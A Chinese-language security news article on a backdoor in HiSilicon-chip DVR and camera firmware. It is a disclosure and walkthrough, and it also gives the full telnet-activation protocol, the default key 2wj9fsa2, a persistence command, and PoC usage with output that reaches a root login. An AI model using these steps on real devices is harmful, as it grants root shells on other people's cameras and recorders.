俄罗斯安全专家弗拉迪斯拉夫·亚马克(Vladislav Yarmak)已发布了有关他在海西芯片中发现的后门机制的技术细节。
据称,利用后门可以让攻击者获得目标设备中root权限的shell,完全控制住设备。该专家随后还针对该漏洞发布了相关PoC代码。
该专家在之前并没有向海思公司透露这一漏洞,原因是他对该公司在漏洞处理方面缺乏信任。
海思是一家总部位于深圳的中国半导体公司,隶属于华为,也是中国最大的集成电路设计公司,其芯片被全球数以百万计的物联网设备所使用,包括安全摄像头、DVR和NVR。
针对最新版本的硬件,从固件开始下手,攻击者只需简单的手段就可以获得root权限的shell。
先用工具抓包,发现和摄像头的9530端口进行通信,发送命令给摄像头
OpenTelnet:OpenOnce
然后telnet登陆上摄像头,使用命令netstat -ap查看是谁在用9530这个端口
# netstat -apActive Internet connections (servers and established)Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:34567 0.0.0.0:* LISTEN 1190/Sofiatcp 0 0 0.0.0.0:554 0.0.0.0:* LISTEN 1190/Sofiatcp 0 0 0.0.0.0:www 0.0.0.0:* LISTEN 1190/Sofiatcp 0 0 0.0.0.0:telnet 0.0.0.0:* LISTEN 1169/telnetdtcp 0 0 0.0.0.0:23000 0.0.0.0:* LISTEN 1190/Sofiatcp 0 0 0.0.0.0:9530 0.0.0.0:* LISTEN 1165/dvrHelper
dvrHelper
这是个啥玩意呢?
因为摄像头的busybox里命令残缺不全,在里面找东西和分析都麻烦的很,所以还是在本地固件里分析吧。
在固件文件夹里搜索到dvrHelper,发现是dvrbox的链接,然后查找dvrbox中的文本
除了找到OpenTelnet:OpenOnce之外,还找到了OpenTelnet:Forever
开始查找系统的可写目录,仅找到以下三个
/mnt/mtd
/utils
/var/tmp
其中/utils是内存系统,重启后会清空,所以不是此目录
/var/tmp也是临时文件夹,重启会删除,所以也不是此目录
本来试图修改/etc/init.d文件夹下的rcS文件,做到开机启动telnetd
但是该文件是只读,研究许久都没发现修改该文件或者其子过程的办法
/mnt/mtd呢?
研究半天/mnt/mtd,也是毫无头绪,改确实是可以改,但是没法添加到启动项中去,不过也可能是使用文件作为配置文件,启动检测到文件存在时则执行telnetd,否则不执行,这点只能从固件中找答案
仍然是研究dvrbox文件
#strings dvrbox |grep telnet
telnetctrl
LIBDVR : Get telnetctrl Fialed, telnetctrl=1
macGuarder: Open telnetd Forever
killall telnetd
macGuarder: Close telnetd Forever
居然还有 killall telnetd 语句,是不是即使将telnetd想办法添加到启动项,也会被干掉?
但是又注意到另外一个字符telnetctrl
难道telnetctrl就是该配置参数名?
使用telnetctrl在固件文件夹下全局搜索
发现仅在armbenv中再次提到了该参数
那armbenv是个什么呢?
执行armbenv命令,提示使用-r参数打印环境信息
继续执行armbenv -r
根据结果以及个人的猜测,我认为armbenv是设置系统启动环境变量用的
另外其有一个-s参数,可以设置param,要不试试?
执行以下命令 armbenv -s telnetctrl 1
提示成功
再执行armbenv -r
发现telnetctrl已经存在
重启
直接telnet
成功!
后门激活流程如下:
1.客户端连接目标设备的9530端口,发送字符串OpenTelnet:OpenOnce,该字符串前面要加上指示消息长度的字节。该步骤对于以前版本的后门利用是最后一步。如果此步骤后没有响应,则telneted服务可能已经运行。
2.服务端(指设备)会回复randNum:XXXXXXXX,其中XXXXXXXX是8位随机数字。
3.客户端使用预共享密钥作为加密密钥,配合随机数进行以下步骤。
4.客户端利用加密密钥加密随机数字,附加在randNum:之后,再在头部添加总长度的字节,然后发送给服务端。
5.服务端从/mnt/custom/TelnetOEMPasswd加载预共享密钥,或直接使用默认密钥2wj9fsa2。
6.服务端对随机数进行加密,并验证结果是否与客户端发送过来是否一样。验证成功回复verify:OK,否则回复verify:ERROR。
7.客户端加密字符串Telnet:OpenOnce,前面带上总长度字节,CMD:字符串,然后发送给服务端。
8.服务端解密出接受到的命令。如果得到的结果等于字符串Telnet:OpenOnce,就会回复Open:OK,开启调试端口9527,启动telnet服务。
9.挑个密码登录吧
持久化后门的方法:
当然需要先以root身份登录设备
1. armbenv -s telnetctrl 1
2.再执行armbenv -r
3.重启
4.直接telnet
5.成功!
最重要的
PoC
代码链接:https://github.com/Snawoot/hisilicon-dvr-telnet
用法:./hs-dvr-telnet HOST PSK
其中PSK默认是2wj9fsa2
示例用法
telnet 198.51.100.23
Trying 198.51.100.23...
telnet: Unable to connect to remote host: Connection refused
./hs-dvr-telnet 198.51.100.23 2wj9fsa2
Sent OpenTelnet:OpenOnce command.
randNum:46930886
challenge=469308862wj9fsa2
verify:OK
Open:OK
telnet 198.51.100.23
Trying 198.51.100.23...
Connected to 198.51.100.23.
Escape character is '^]'.
LocalHost login: root
Password:
对使用海思芯片的用户来说,非常不乐观的是,目前针对该后门没有可用的补丁,但POC已公开。
Vladislav Yarmak表示,考虑到海思之前对相关漏洞的修复,指望厂商提供补丁是不现实的。
作为临时防御措施,用户可以根据需要限制对受影响设备的网络访问,只允许受信任的用户进行访问。(推荐有使用海思芯片的用户,尽快考虑准入设备,或者直接拆掉这些设备)
从目前情况来看,已有几十个品牌和数百个型号易受到黑客攻击
参考来源:
Expert released PoC exploit code for unpatched backdoor in HiSilicon chips
https://habr.com/ru/post/332526/
https://github.com/tothi/pwn-hisilicon-dvr
本文来源于互联网:专家发布了用于华为海思芯片中未修补后门攻击代码